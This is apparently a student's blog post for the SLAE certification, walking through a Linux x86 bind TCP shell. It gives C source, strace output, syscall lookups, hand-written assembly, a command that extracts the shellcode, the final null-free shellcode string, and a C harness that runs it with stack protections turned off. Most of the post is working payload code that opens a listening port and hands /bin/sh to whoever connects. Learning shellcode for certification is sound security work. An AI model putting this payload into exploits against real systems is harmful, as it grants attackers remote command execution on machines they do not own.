May 22, 2019

SLAE – Assignment #1 – Bind TCP Shell

1. Introduction

In this blog post I will go through first task of SLAE exam challenge - creating bind shell with easy configurable port which will spawn a shell on connection. My strategy was pretty common - build C code and then based on analysis recreate in assembly.

2. C code bind shell

Network programming in Linux is quite straightforward until you try to build something really special. I tried to put as much comments as possible so it would be easy to follow the code.

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>

int main() {
  int sock_des, client_des, port_num;
  struct sockaddr_in addr_ser;
  port_num = 2608;

  sock_des = socket(AF_INET, SOCK_STREAM, 0); //create a socket for IPv4, TCP, IP

  addr_ser.sin_family = AF_INET; // ipv4
  addr_ser.sin_port = htons(port_num); // port in network endian
  addr_ser.sin_addr.s_addr = INADDR_ANY; // (0.0.0.0)

  bind(sock_des, (struct sockaddr*)&addr_ser, sizeof(addr_ser)); //bind to address and port
  listen(sock_des, 0); //listen to connection

  client_des = accept(sock_des, NULL, NULL); //accept incoming connection

  dup2(client_des, 0); // stdin
  dup2(client_des, 1); // stdout
  dup2(client_des, 2); // stderr

  execve("/bin/sh", NULL, NULL); //spawn a shell
  return 0;
}

Proof picture:

3. Find out the details

To make my life easier I executed bind shell binary with strace and got list of functions:

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(56797), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 0)                            = 0
accept(3, NULL, NULL)                   = 4
dup2(4, 0)                              = 0
dup2(4, 1)                              = 1
dup2(4, 2)                              = 2
execve("/bin/sh", NULL, NULL)           = 0

Next step we need to find system call numbers. I used grep: 

grep "socketcall\|dup2\|execve" /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102

All network calls are inside socketcall() function. It requires 102 (0x66) value in eax, subfunction call number in ebx, arguments in ecx. To get subfunction call numbers I used grep once again:

grep "sys_socket(\|sys_bind(\|sys_listen(\|sys_accept(" /usr/include/linux/net.h 
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */

4. Assembly code

global _start

section .text
_start:
;clear out registers, edx will be zero till the end of the code

       xor eax, eax
       xor ebx, ebx
       xor edx, edx

;create socket
;int socket(int domain, int type, int protocol)
;int socket(2, 1, 0)

push eax
push 0x01
push 0x02
mov ecx, esp      ; ecx points to the top of the stack where our arguments are located             
mov al, 0x66
        inc bl                   ; 0x01
int 0x80

mov esi, eax     ; store socket descriptor to esi 

;bind to address
;int bind (int sockfd, const struct sockaddr *addr, socklen_t addrlen)
;int bind(esi, struct, 0x10)

;sockaddr_in structure:

mov al, 0x66
        inc bl                        ; 0x02
push edx           ; address to bind
push word 0xdddd          ; port number
push word 0x02        ; push AF_INET
mov ecx,esp   ; mov structure pointer in ecx
                        
                    
push 0x10
push ecx
push esi                        
mov ecx, esp ; ecx points to arguments
int 0x80

;listen
;int listen(int sockfd, int backlog)
;int listen(esi,0)

mov al, 0x66
        mov bl, 0x04
push edx                 ;0x00
push esi
mov ecx, esp
int 0x80

;accept
;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);
;int accept(esi,0,0)

mov al, 0x66
        inc bl                      ;0x05
push edx
push edx                    
push esi
mov ecx, esp
int 0x80

mov ebx,eax ; get new file descriptor for dup() call

;duplicate STD
;int dup2(int oldfd, int newfd)
;int dup2(ebx, 0)
  
         mov al,0x3f            ;63 in decimal
         xor ecx,ecx            ;0x00
         int 0x80

;int dup2(ebx, 1)

         mov al,0x3f
         inc ecx                   ;0x01
         int 0x80
     
;int dup2(ebx, 2)
    
         mov al,0x3f
         inc ecx                   ;0x02
         int 0x80

;spawn shell
;int execve(const char *filename, char *const argv[], char *const envp[]);
;int execve(string addr, zero, NULL)

 push edx                 ;string NULL-terminator
 push 0x68732f2f     ; hs//
 push 0x6e69622f    ; nib/
 mov ebx, esp          ; pointer to command string
 mov ecx, edx          ; ecx 0x00
 mov al, 0xb
 int 0x80

Compile assembly:

nasm -f elf32 -o asm_bind.o asm_bind.nasm
ld -o asm_bind asm_bind.o

Check for any NULL bytes and extract shellcode with command line magic from the course:

objdump -d -M intel asm| grep 00
objdump -d ./asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc6\xb0\x66\xfe\xc3\x52\x66\x68\xdd\xdd\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xfe\xc3\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80"

Then copy/paste in C code:

#include<stdio.h>
#include<string.h>
#define PORT "\xdd\xdd"

char shell[] =
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc6\xb0\x66\xfe\xc3\x52\x66\x68"PORT"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xfe\xc3\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";

main()
{

        printf("Shellcode Length:  %d\n", strlen(shell));
void (*fp) (void);
fp = (void *)shell;
fp();
}

Compile the code with gcc -o shell shellcode.c -fno-stack-protector -z execstack and got a bind shell:


5. Disclaimer


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam

No comments:

Post a Comment